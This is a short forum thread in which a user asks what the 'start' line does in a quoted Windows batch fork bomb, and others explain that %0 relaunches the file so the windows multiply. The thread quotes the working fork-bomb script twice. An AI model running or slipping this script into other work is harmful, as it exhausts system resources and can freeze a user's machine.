What does the start line do ?
I know start can open a program in another window.
@echo off
:: A fork bomb using the Microsoft Windows batch language:
:: WARNING !! THIS LOCKS UP YOUR SYSTEM !!!
:s
start "" %0
goto s
%0 in a batch file is the name of the file itself, %1 etc. are the parameters.
@echo off
:: A fork bomb using the Microsoft Windows batch language:
:: WARNING !! THIS LOCKS UP YOUR SYSTEM !!!
:s
start "" %0
goto s
Opens a new window every round, those windows open a new window every round and so on.
Won't "lock up your system" but you would never be quick enough to kill them. Just restart, no drama.
Obviously, I am not going to try.
In XP, it does indeed lock up your system.
Even CAD won't help.
That's why it is called a fork bomb. :-)
What O.S. are you running ?
